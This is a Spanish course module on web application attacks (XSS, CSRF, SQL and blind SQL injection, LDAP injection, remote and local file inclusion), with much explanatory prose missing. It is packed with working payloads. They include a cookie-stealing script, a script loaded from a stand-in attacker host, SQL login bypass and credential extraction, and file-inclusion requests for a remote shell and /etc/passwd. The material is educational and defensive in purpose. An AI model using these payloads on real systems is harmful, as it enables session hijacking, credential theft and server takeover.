Ataques a aplicaciones web

Índice
- Introducción
- Objetivos
- 1.Ataques de inyección de scripts
- 1.1.Cross Site Scripting (XSS)
- 1.1.1.Ataques
- 1.1.2.Métodos para introducir XSS (Cross Site Scripting)
- 1.1.3.Diseccionando un ataque
- 1.1.4.Filtros XSS
- 1.2.Cross Site Request Forgery (CSRF)
- 1.3.Clickjacking
- 1.1.Cross Site Scripting (XSS)
- 2.Ataques de inyección de código
- 2.1.SQL Injection
- 2.1.1.Entorno de explotación del ataque
- 2.1.2.Blind SQL Injection
- 2.2.LDAP Injection
- 2.2.1.LDAP Injection con ADAM de Microsoft
- 2.2.2.LDAP Injection con OpenLDAP
- 2.2.3.Primeras conclusiones
- 2.2.4."OR" LDAP Injection
- 2.2.5."AND" LDAP Injection
- 2.2.6.Blind LDAP Injection
- 2.1.SQL Injection
- 3.Ataques de inyección de ficheros
- 3.1.Remote File Inclusion
- 3.2.Local File Inclusion
- 3.3.Webtrojans
- Resumen
- Bibliografía
Introducción
Objetivos
-
Entender la complejidad y diversidad de las vulnerabilidades de aplicaciones web.
-
Estudiar los ataques de Cross Site Scripting (XSS) y su consecuencia en las aplicaciones.
-
Conocer la existencia de ataques de inyección de comandos como SQL Injection el LDAP Injection.
-
Conocer la posibilidad de la ejecución de código en servidores remotos con técnicas como las de Remote File Inclusion y Local File Inclusion.
1.Ataques de inyección de scripts

1.1.Cross Site Scripting (XSS)
<script>alert("Hola Mundo!");</script>
-
Permanentes. El ejemplo comentado en el párrafo anterior pertenece a esta categoría. Su denominación se debe al hecho de que, como mostraba dicho ejemplo, la ventana de alerta en Javascript queda almacenada en algún lugar, habitualmente una base de datos SQL, y se va a mostrar a cualquier usuario que visite nuestro perfil. Evidentemente, este tipo de fallos de XSS son mucho más peligrosos que los no permanentes, que se comentan a continuación.
-
No permanentes. Esta categoría queda ilustrada con el caso que ahora se menciona. Nos encontramos con una página web que dispone de buscador, el cual, al introducir una palabra inventada o una cadena aleatoria de caracteres, muestra un mensaje del tipo: "No se han encontrado resultados para la búsqueda <texto>", donde <texto> es la cadena introducida en el campo de búsqueda.
Si en la búsqueda se introduce como <texto> el código Javascript antes indicado, y de nuevo aparece la ventana de alerta, ello significa que la aplicación es vulnerable a XSS. La diferencia es que, en esta ocasión, los efectos de la acción no son permanentes.
http://www.victima.com/search?query=<script>alert("Hola Mundo!");</script>
1.1.1.Ataques
-
Toma del control del navegador. Un ataque de XSS puede tomar el control del navegador del usuario afectado y, como tal, realizar acciones en la aplicación web. Si se ha logrado que un usuario administrador ejecute nuestro código Javascript las posibilidades de actuación maliciosa son muy superiores. Por poner un ejemplo, será posible desde borrar todas las noticias de una página hasta generar una cuenta de administrador con los datos que nosotros especifiquemos. Si el código Javascript es ejecutado por un usuario sin derechos de administración se podrá realizar cualquier modificación asociada al perfil específico del usuario en el sitio web.
-
Phishing. Otra posible acción a efectuar haciendo uso de estas técnicas es el phishing. Mediante Javascript, como hemos visto, podemos modificar el comportamiento y la apariencia de una página web. Esto permite crear un formulario de login falso o redirigir el submit de uno existente hacia un dominio bajo nuestro control.
-
Ataques de defacement. Podemos ejecutar ataques de defacement apoyándonos en técnicas que explotan vulnerabilidades XSS. Como ya se ha mencionado, defacement no es más que la modificación de la apariencia original de una página web para que muestre un mensaje, normalmente reivindicativo, en lugar de su apariencia normal.
-
Ataque de denegación de servicios distribuidos. Aunque menos habitual, también es posible realizar un ataque de denegación de servicios distribuidos (Distributed Dennial of Services, DDoS). Para ello, se forzará a los navegadores, mediante código Javascript, a que hagan un uso intensivo de recursos muy costosos en ancho de banda o en capacidad de procesamiento de un servidor de forma asíncrona.
-
El gusano XSS. Para finalizar con esta enumeración de posibles tipos de ataques realizados basándonos en XSS, se cita el de gusano XSS. Éste se definiría como un código Javascript que se propaga dentro de un sitio web o entre páginas de Internet. Supongamos la existencia de un fallo XSS en la descripción personal de los usuarios de una red social. En esta situación, un usuario malintencionado podría crear código Javascript que copiase el código del gusano en el perfil del usuario que visita otro perfil infectado y que, adicionalmente, realizase algún tipo de modificación en los perfiles afectados.
1.1.2.Métodos para introducir XSS (Cross Site Scripting)
<script>alert("Hola Mundo!");</script>
<input type="text" name="q" value="[busqueda]" />
"/><script>alert("Hola Mundo!");</script><div class="
<input type="text" name="q" value=""/><script>alert("Hola Mundo!");</script><div class="" />
<!-- La busqueda fue "[busqueda]" -->
--><script>alert("Hola Mundo!");</script><!--
<!-- La busqueda fue "--><script>alert("Hola Mundo!");</script><!--" -->
<script> var busqueda = "[busqueda]"; </script>
";alert("Hola Mundo!");//
<script> var busqueda ="";alert("Hola Mundo!");//";</script>
1.1.3.Diseccionando un ataque

-
Comilla simple (')
-
Comilla doble (")
-
Símbolo de mayor que (>)
-
Símbolo de menos que (<)
-
Barra (/)
-
Espacio ( )


<script> d = "&to=eviluser&enviar=Enviar&mensaje=Mi cookie es: "+document.cookie; if(window.XMLHttpRequest) { x=new XMLHttpRequest(); } else { x=new ActiveXObject('Microsoft.XMLHTTP'); } x.open("POST","func/send.php",true); x.setRequestHeader('Content-Type','application/x-www-form-urlencoded'); x.setRequestHeader('Content-Length',d.length); x.send(d); </script>
-
Inicialmente se declara una variable d. Ésta contiene los valores de &to, &enviar y &mensaje, que son las variables que se envían en la aplicación cuando mandamos un mensaje. Detalle importante a observar es el contenido de la variable &mensaje, document.cookie, un objeto del DOM de la página que contiene todas las cookies asociadas al dominio actual.
-
En las líneas siguientes se realiza un if...else que nos asegura la creación de un objeto de tipo XMLHttpRequest tanto en navegadores Internet Explorer como Firefox o similares. Este objeto es el usado para realizar las peticiones AJAX.
-
Con open() establecemos las condiciones que se van a utilizar para enviar el formulario. Éste será enviado por POST a la URL func/send.php. Esto se obtiene analizando de nuevo el formulario de envío. Mediante True se indica que la petición será realizada de manera asíncrona, esto es, el navegador no se quedará "congelado" mientras se envía el mensaje.
-
Las dos siguientes líneas, en las que hacemos una llamada a la función setRequestHeader(), se usan para establecer cabeceras HTTP que hagan que el servidor web entienda que lo que estamos enviando es un formulario, aunque el usuario no haya rellenado el mismo.
-
Para terminar, se invoca a send() pasándole como parámetro la variable d que teníamos creada desde el principio del código. Con esto, el navegador realiza las acciones definidas anteriormente y, si todo ha salido bien, el usuario afectado nos enviará su cookie de sesión.



1.1.4.Filtros XSS
<input type="text" name="q" value="\" /><script>alert(document.cookie);</script>
String.fromCharCode(72, 111, 108, 97, 32, 77, 117, 110, 100, 111, 33)
<script src=http://www.atacante.com/xss.js></script>
<script src=http://is.gd/owYT></script>
<input type="text" name="búsqueda" value="" OnFocus="alert('Hola Mundo!');" />
1.2.Cross Site Request Forgery (CSRF)
http://www.sitio001.com/comprar.asp?idObjeto=31173&confirm=yes
<img src="http://www.sitio001.com/comprar.asp?idObjeto=31173&confirm=yes" />
<img src="http://www.sitio001.com/comprar.asp?idObjeto=31173&confirm=yes" onerror="this.src='logo.jpg';this.onerror=null;"/>
-
Cerrar la sesión inmediatamente después del uso de una aplicación.
-
No permitir que el navegador almacene las credenciales de ninguna página, ni que ningún servidor mantenga nuestra sesión recordada más que durante el tiempo de uso.
-
Utilizar navegadores distintos para las aplicaciones de ocio y las críticas. Con esto nos aseguramos la independencia de las cookies de sesión entre navegadores.
1.3.Clickjacking




2.Ataques de inyección de código
2.1.SQL Injection
-
Descubrimiento de información (Information Disclosure). Las técnicas de inyección SQL pueden permitir a un atacante modificar consultas para acceder a registros y/o objetos de la base de datos a los que inicialmente no tenía acceso.
-
Elevación de privilegios. Todos los sistemas de autenticación que utilicen credenciales almacenados en motores de bases de datos hacen que una vulnerabilidad de inyección SQL pueda permitir a un atacante acceder a los identificadores de usuarios más privilegiados y cambiarse las credenciales.
-
Denegación de servicio. La modificación de comandos SQL puede llevar a la ejecución de acciones destructivas, como el borrado de datos y de objetos o la parada de servicios con comandos de parada y arranque de los sistemas. Asimismo, se pueden inyectar comandos que generen un alto cómputo en el motor de base de datos que haga que el servicio no responda en tiempo útil a los usuarios legales.
-
Suplantación de usuarios. Al poder acceder al sistema de credenciales, es posible que un atacante obtenga las credenciales de otro usuario y realice acciones con la identidad robada o spoofeada a otro usuario.
2.1.1.Entorno de explotación del ataque
-
Fallo en la comprobación de parámetros de entrada. Se considera parámetro de entrada cualquier valor que provenga desde el cliente. En este entorno se debe asumir "un ataque inteligente" por lo que cualquiera de estos parámetros pueden ser enviados con "malicia". Por lo que se debe asumir también que cualquier medida de protección implantada en el cliente puede fallar.
-
Utilización de parámetros en la construcción de llamadas a bases de datos: El problema no reside en la utilización de los parámetros en las sentencias SQL sino en la utilización de parámetros que no han sido comprobados correctamente.
-
Construcción no fiable de sentencias. Existen diversas formas de crear una sentencia SQL dinámica dentro de una aplicación web que dependen del lenguaje utilizado. El problema se genera con la utilización de una estructura de construcción de sentencias SQL basada en la concatenación de cadenas de caracteres, es decir, el programador toma la sentencia como una cadena alfanumérica a la que va concatenando el valor de los parámetros recogidos, lo que implica que tanto los comandos como los parámetros tengan el mismo nivel dentro de la cadena. Cuando se acaba de construir el comando no se puede diferenciar qué parte ha sido introducida por el programador y qué parte es procedente de los parámetros.
Ejemplo 1. Fallo en la comprobación de parámetros de entrada
Tabla_Usuarios
|
||||
---|---|---|---|---|
IDUsuario |
Usuario |
Clave |
Nombre |
NivelAcceso |
0 |
Root |
RE$%·& |
Administrador |
Administrador |
1 |
Ramón |
ASFer3454 |
Ramón Martínez |
Usuario |
2 |
Carlos |
Sdfgre32! |
Carlos Lucas |
Usuario |
Tabla de usuarios de ejemplo

SqlQuery="Select IDUsuriario from Tabla_Usuarios where Usuario='" || Usuario$ ||"' AND Clave='" || Clave$ || "';"
Usuario$=Cualquiera Clave$= ' or '1'='1
"Select IDUsuario from Tabla_Usuarios where Usuario='Cualquiera' and Clave='' or '1'='1';"
Usuario$=Cualquiera Clave$= ' or Usuario='Matias
"Select IDUsuario from Tabla_Usuarios where Usuario='Cualquiera' and Clave='' or Usuario='Matias';"
Ejemplo 2. Entorno de extracción de información de la base de datos mediante la modificación de una consulta SQL
Tabla_Examenes
|
||||
---|---|---|---|---|
ID |
Fecha |
Asignatura |
Convocatoria |
Aula |
0 |
21/02/2007 |
Arquitecturas avanzadas |
Febrero |
1 |
1 |
22/02/2007 |
Seguridad informática |
Febrero |
2 |
2 |
17/06/2007 |
Compiladores |
Junio |
2 |
3 |
01/09/2007 |
Arquitecturas avanzadas |
Septiembre |
1 |
... |
... |
... |
... |
... |
Tabla de exámenes de ejemplo
SqlQuery= "Select Fecha, Asignatura, Aula from Tabla_Examenes where Convocatoria='" || Convoatoria$ || "';"

http://www.miservidor.com/muestra_examenes.cod?convocatoria=Febrero' union select Usuario, Clave, 99 from Tabla_Usuarios where '1'='1
Select Fecha, Asignatura, Aula from Tabla_Examenes where Convocatoria=' Febrero' unión select Usuario, Clave, 99 from Tabla_Usuarios where '1'='1';

-
Si la cuenta de la base de datos utilizada en la conexión desde la aplicación tiene privilegios para realizar operaciones de manipulación de datos o de creación de objeto.
-
Si el motor de la base de datos soporta ejecución múltiple de sentencias SQL.
http://www.miservidor.com/muestra_examenes.cod?convocatoria=Febrero'; Update clave:='nueva' from tabla_Usarios where usuario='root
Select Fecha, Asignatura, Aula from Tabla_Examenes where Convocatoria=' Febrero'; Update clave:='nueva' from tabla_Usarios where usuario='root';
Ejemplo 3. Extracción de información mediante mensajes de error
Tabla_Imagenes
|
||
---|---|---|
ID |
Nombre |
Archivo |
1 |
Logotipo 1 |
Logo1.jpg |
2 |
Logotipo 1 grande |
Logo1g.jpg |
3 |
Logo apaisado |
Logo2.jpg |
... |
... |
... |
Tabla de imágenes de ejemplo
SqlQuery="Select * from Tabla_Imagenes where id='" || id$ || "';"

-
Errores matemáticos. Permiten extraer información mediante el desbordamiento de los límites de los formatos numéricos. Para ello se convierte el dato buscado a un valor matemático y se opera para conseguir el desbordamiento. En el mensaje de error se obtendrá el resultado del desbordamiento que nos permitirá saber el dato buscado.
-
Errores de formato. Consisten en la utilización implícita de un valor de un tipo de dato con otro distinto. Esto generará un error al intentar el motor de base de datos realizar una conversión y no poder realizarla.
-
Errores de construcción de la sentencia SQL. Permiten encontrar los nombres de los objetos en la base de datos. Sirven para averiguar nombres de tablas y/o campos de las mismas.
http://www.miservidor.com/muestra_imagen.cod?id=1 union select Usuario from Tabla_Usuarios where IDUsuario=0

Priamos
Programa.asp?id=218 and 1=(select top 1 name from sysusers order by 1 desc)
Microsoft OLE DB Provider for SQL Server error '80040e07' Conversion failed when converting the nvarchar value 'sys' to data type int. /Programa.asp, line 8
Programa.asp?id=218 and 1=(select top 1 name from sysusers where name<'sys' order by 1 desc)
Microsoft OLE DB Provider for SQL Server error '80040e07' Conversion failed when converting the nvarchar value 'public' to data type int. /Programa.asp, line 8
Programa.asp?id=218 and 1=(select top 1 name from sysusers where name<'public' order by 1 desc)

2.1.2.Blind SQL Injection
El parámetro vulnerable
http://www.miweb.com/noticia.php?id=1
Select campos From tablas Where condiciones and id=1
http://www.miweb.com/noticia.php?id=1+1000-1000 http://www.miweb.com/noticia.php?id=1 and 1=1 http://www.miweb.com/noticia.php?id=1 or 1=2
http://www.miweb.com/noticia.php?id=1 and 1=2 http://www.miweb.com/noticia.php?id=-1 or 1=1 http://www.miweb.com/noticia.php?id=1+1
¿Cómo se atacan esas vulnerabilidades?
Id= 1 and exists (select * from usuarios)
Id= 1) and (exists (select * from usuarios)
Id= 1 and 300>ASCII(substring(user(),1,1))
Id= 1 and 100>ASCII(substring(user(),1,1)) -> ISQL+ -> Falso Id= 1 and 120>ASCII(substring(user(),1,1)) -> ISQL0 -> Verdadero Id= 1 and 110>ASCII(substring(user(),1,1)) -> ISQL+ -> Falso Id= 1 and 115>ASCII(substring(user(),1,1)) -> ISQL0 -> Verdadero Id= 1 and 114>ASCII(substring(user(),1,1)) -> ISQL+ -> Falso
Id= 1 and 300>ASCII(substring(user(),2,1)) -> ISQL0 -> Verdadero
Id= 1 and 10>length(user()) ¿ISQL0 o ISQL+?
Automatización
-
Búsqueda de palabras clave. Este tipo de automatización sería posible siempre que los resultados positivos y negativos fueran constantemente los mismos. Es decir, siempre el mismo resultado positivo y siempre el mismo resultado negativo. Bastaría entonces con seleccionar una palabra clave que apareciera en el conjunto de resultados positivos y/o en el conjunto de resultados negativos. Se lanzaría la petición con la inyección de código y se examinarían los resultados hasta obtener la palabra clave. Es de los más rápidos a implementar, pero exige cierta interacción del usuario que debe seleccionar correctamente la palabra clave en los resultados positivos o negativos.
-
Basados en firmas MD5. Este tipo de automatización sería válido para aplicaciones en las que existiera una respuesta positiva consistente, es decir, que siempre se obtuviera la misma respuesta ante el mismo valor correcto (con inyecciones de código de cambio de comportamiento cero) y, en el caso de respuesta negativa (ante inyecciones de cambio de comportamiento positivo), se obtuviera cualquier resultado distinto del anterior, como, por ejemplo, otra página de resultados, una página de error genérico, la misma página de resultados pero con errores de procesamiento, etc. La automatización de herramientas basadas en esta técnica es sencilla:
-
Se realiza el hash MD5 de la página de resultados positivos con inyección de código de cambio de comportamiento cero. Por ejemplo, "and 1=1".
-
Se vuelve a repetir el proceso con una nueva inyección de código de cambio de comportamiento cero. Por ejemplo, "and 2=2".
-
Se comparan los hashes obtenidos en los pasos a y b para comprobar que la respuesta positiva es consistente.
-
Se realiza el hash MD5 de la página de resultados negativos con inyección de código de cambio de comportamiento positivo. Por ejemplo, "and 1=2".
-
Se comprueba que los resultados de los hashes MD5 de los resultados positivos y negativos son distintos.
-
Si se cumple, entonces se puede automatizar la extracción de información por medio de hashes MD5.
-
Excepciones. Esta técnica de automatización no sería válida para aplicaciones que cambian constantemente la estructura de resultados, por ejemplo aquellas que tengan publicidad dinámica, ni aquellas que ante un error en el procesamiento devuelvan el control a la página actual. No obstante, sigue siendo la opción más rápida en la automatización de herramientas de Blind SQL Injection.
-
-
Motor de diferencia textual. En este caso se utilizaría como elemento de decisión entre un valor positivo y uno falso la diferencia en palabras textuales. La idea es obtener el conjunto de palabras de la página de resultados positivos y la página de resultados negativos. Después se hace una inyección de código con un valor concreto y se obtiene un resultado de palabras. Haciendo un cálculo de distancias se vería de cuál difiere menos para saber si el resultado es positivo o negativo. Esto es útil cuando el conjunto de valores inyectados siempre tengan un resultado visible en el conjunto de resultados tanto en el valor positivo como en el valor negativo.
-
Basados en árboles HTML. Otra posibilidad a la hora de analizar si el resultado obtenido es positivo o negativo sería utilizar el árbol HTML de la página. Esto funcionaría en entornos en los que la página de resultados correctos y la página de resultados falsos fueran siempre distintas, es decir, la página correcta tuviera partes dinámicas cambiantes ante el mismo valor y la página de errores también. En esos casos se puede analizar la estructura del árbol de etiquetas HTML de las páginas y compararlas.
-
Representación lineal de sumas ASCII. La idea de esta técnica es obtener un valor hash del conjunto de resultados en base a los valores ASCII de los caracteres que conforman la respuesta. Se saca el valor del resultado positivo y el del resultado negativo. Este sistema funciona asociado a una serie de filtros de tolerancia y adaptación para poder automatizarse.
SQLBfTools
-
mysqlbf. Es la herramienta principal para la automatización de la técnica de BlindSQL. Para poder ejecutarla se debe contar con un servidor vulnerable en el que el parámetro esté al final de la URL y la expresión no sea compleja.
-
version()
-
user()
-
now()
-
sytem_user()
-
....
Mysqlbf "host" "comando" "palabraclave"
-
host es la URL con el servidor, el programa y el parámetro vulnerable.
-
Comando es un comando a ejecutar de MySQL.
-
Palabraclave es el valor que solo se encuentra en la página de resultado positivo.


-
mysqlget. Es la herramienta pensada para descargar ficheros del servidor. Aprovechando las funciones a ciegas y los comandos del motor de base de datos se puede ir leyendo letra a letra cualquier fichero del servidor.
En la imagen que aparece a continuación se ve cómo se puede descargar el fichero /etc/passwd a partir de una vulnerabilidad Blind SQL Injection usando mysqlget:
Fichero /etc/passwd -
mysqlst. Esta herramienta se utiliza para volcar los datos de una tabla. Primero se consulta el diccionario de datos para extraer el número de campos, los nombres, los tipos de datos de cada campo y, por último, el volcado de las filas.
Protección contra Blind SQL Injection
2.2.LDAP Injection
2.2.1.LDAP Injection con ADAM de Microsoft




2.2.2.LDAP Injection con OpenLDAP




2.2.3.Primeras conclusiones
2.2.4."OR" LDAP Injection
(|(atributo1=valor1)(atributo2=valor2))


(|(type=outputDevices)(type=printer))

(|(type=outputDevices)(type=printer)(uid=*))(|(type=void))

2.2.5."AND" LDAP Injection
(&(atributo1=valor1)(atributo2=valor2))
(&(directorio=nombre_directorio)(nivel_seguridad=bajo))
(&(directorio=almacen)(nivel_seguridad=alto))(|(directorio=almacen)(nivel_seguridad=bajo))
almacen)(nivel_seguridad=alto))(|(directorio=almacen
(&(uid=valor_de_user)(password=valor_de_password)



(&(directory=nombre_directorio)(level=low))
(&(directory=Documents)(level=High))(level=low))

2.2.6.Blind LDAP Injection
-
La aplicación no muestra los resultados obtenidos de la consulta realizada al árbol LDAP.
-
El uso de los resultados produce cambios en la respuesta HTTP que el cliente recibe.
Blind LDAP Injection en un entorno "AND"
(&(atributo1=valor1)(atributo2=valor2))
(&(objectClass=Impresoras)(impresoraTipo=Epson*))
(&(objectClass=*)(objectClass=*))(&(objectClass=void)(impresoraTipo=Epson*))
Reconocimiento de clases de objetos de un árbol LDAP
(&(objectClass=*)(objectClass=users))(&(objectClass=foo)(impresoraTipo=Epson*)) (&(objectClass=*)(objectClass=personas))(&(objectClass=foo)(impresoraTipo=Epson*)) (&(objectClass=*)(objectClass=usuarios))(&(objectClass=foo)(impresoraTipo=Epson*)) (&(objectClass=*)(objectClass=logins))(&(objectClass=foo)(impresoraTipo=Epson*)) (&(objectClass=*)(objectClass=...))(&(objectClass=foo)(impresoraTipo=Epson*))
(&(objectClass=*)(objectClass=a*))(&(objectClass=foo)(impresoraTipo=Epson*)) (&(objectClass=*)(objectClass=b*))(&(objectClass=foo)(impresoraTipo=Epson*)) ... (&(objectClass=*)(objectClass=z*))(&(objectClass=foo)(impresoraTipo=Epson*))
(&(objectClass=*)(objectClass=aa*))(&(objectClass=foo)(impresoraTipo=Epson*)) (&(objectClass=*)(objectClass=ab*))(&(objectClass=foo)(impresoraTipo=Epson*)) ... (&(objectClass=*)(objectClass=az*))(&(objectClass=foo)(impresoraTipo=Epson*)) (&(objectClass=*)(objectClass=ba*))(&(objectClass=foo)(impresoraTipo=Epson*)) (&(objectClass=*)(objectClass=bb*))(&(objectClass=foo)(impresoraTipo=Epson*)) ...

(&(objectClass=user)(uid=a*))(&(objectClass=foo)(impresoraTipo=Epson*)) (&(objectClass=user)(uid=b*))(&(objectClass=foo)(impresoraTipo=Epson*)) ... (&(objectClass=user)(uid=z*))(&(objectClass=foo)(impresoraTipo=Epson*))
(&(objectClass=user)(uid=*a*))(&(objectClass=foo)(impresoraTipo=Epson*)) (&(objectClass=user)(uid=*b*))(&(objectClass=foo)(impresoraTipo=Epson*)) ... (&(objectClass=user)(uid=*z*))(&(objectClass=foo)(impresoraTipo=Epson*))
(&(objectClass=user)(uid=kurt)(edad>=1)(&(objectClass=foo)(impresoraTipo=Epson*))
Blind LDAP Injection en un entorno "OR"
(|(atributo1=valor1)(atributo2=valor2))
(|(objectClass=void)(objectClass=void))(&(objectClass=void)(impresoraTipo=Epson*))
(|(objectClass=void)(objectClass=users))(&(objectClass=void)(impresoraTipo=Epson*)) (|(objectClass=void)(objectClass=personas))(&(objectClass=void)(impresoraTipo=Epson*)) (|(objectClass=void)(objectClass=usuarios))(&(objectClass=void)(impresoraTipo=Epson*)) (|(objectClass=void)(objectClass=logins))(&(objectClass=void)(impresoraTipo=Epson*)) (|(objectClass=void)(objectClass=...))(&(objectClass=void)(impresoraTipo=Epson*))
Ejemplos Blind LDAP Injection

(&(cn=HP Laserjet 2100)(objectclass=printer))

Fase 1. Descubrimiento de atributos



Fase 2. Reduciendo el alfabeto


Fase 3. El despliegue




3.Ataques de inyección de ficheros
3.1.Remote File Inclusion
http://www.mipagina.com/mostrar.php?pag=index.php
-
include($pag)
-
require($pag)
-
include_once($pag)
-
require_once($pag)
http://www.mipagina.com/mostrar.php?pag=http://malo.com/shell.txt

3.2.Local File Inclusion
-
Páginas de plantillas. Carga un fichero desde otro y le da formato.
-
Páginas de descargas. Recibe un parámetro con el nombre del fichero a descargar y lo envía al cliente.
http://www.victima.com/noticias/detalle.php?id=4&tipo=deportes.php
http://www.victima.com/noticias/detalle.php?id=4&tipo=../index.php
-
/etc/passwd. Fichero de usuarios en sistemas Linux. Contiene un compendio de los usuarios existentes así como datos relativos a ellos, como nombre o directorio del home.
-
/etc/hosts. Permite guardar información sobre equipos próximos. Suele contener una lista de nombres e IP internos que nos permiten obtener una mejor idea de la estructura interna de una organización.
-
C:\Windows\repair\SAM. SAM es el fichero que contiene los nombres de usuarios y claves de los usuarios de un sistema Windows. En la carpeta repair se almacena una copia del fichero SAM para poder recuperarla en caso de error del sistema.
-
El propio fichero vulnerable. Es muy instructivo descargar el propio fichero vulnerable mediante el fallo de Local File Inclusion para poder aprender de los problemas de otros.

-
Directa. Escribimos la ruta donde se encuentra el fichero directamente. Deberíamos, por tanto, eliminar los caracteres \ o / de los datos enviados por los usuarios.
-
Relativa. Usamos la canonización para subir hacia directorios superiores mediante el uso de ..\ o ../. Lo podríamos evitar excluyendo, además de lo anterior, los puntos.
3.3.Webtrojans
